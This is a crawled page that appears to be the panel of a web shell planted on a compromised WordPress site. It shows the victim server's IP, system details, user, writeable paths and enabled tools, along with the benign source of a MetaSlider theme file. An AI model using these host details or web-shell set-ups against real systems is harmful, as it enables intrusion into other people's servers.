403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.74
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/sieuthimayasia.com/public_html/wp-content/plugins/ml-slider/themes/nexus/v1.0.0/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/sieuthimayasia.com/public_html/wp-content/plugins/ml-slider/themes/nexus/v1.0.0/theme.php
<?php
if ( ! defined( 'ABSPATH' ) ) {
    die( 'No direct access.' );
}

/**
 * Main theme file
 */
class MetaSlider_Theme_Nexus extends MetaSlider_Theme_Base
{
    /**
     * Theme ID
     *
     * @var string
     */
    public $id = 'nexus';

    /**
     * Theme Version
     *
     * @var string
     */
    public $version = '1.0.0';

    public function __construct()
    {
        parent::__construct( $this->id, $this->version );
        add_filter( 'metaslider_flex_slider_responsive_arrows_enable', '__return_true' );
        add_filter( 'metaslider_flex_slider_responsive_arrows_prev_class', function( $class ) {
            return '.flex-nav-prev';
        });
        add_filter( 'metaslider_flex_slider_responsive_arrows_next_class', function( $class ) {
            return '.flex-nav-next';
        });
    }

    /**
     * Parameters
     *
     * @var string
     */
    public $slider_parameters = array();

    /**
     * Enqueues theme specific styles and scripts
     */
    public function enqueue_assets()
    {
        wp_enqueue_style('metaslider_{$this->id}_theme_styles', METASLIDER_THEMES_URL . $this->id . '/v1.0.0/style.css', array('metaslider-public'), METASLIDER_VERSION);
        wp_enqueue_script('metaslider_{$this->id}_theme_script', METASLIDER_THEMES_URL . $this->id . '/v1.0.0/script.js', array('jquery'), METASLIDER_VERSION, true);

        wp_localize_script('metaslider_{$this->id}_theme_script', 'nexusText', array(
            'buttonText' => __( 'Click Here', 'ml-slider' ),
        ));
    }
}

if ( ! isset( MetaSlider_Theme_Base::$themes['nexus'] ) ) {
    new MetaSlider_Theme_Nexus();
}

Youez - 2016 - github.com/yon3zu
LinuXploit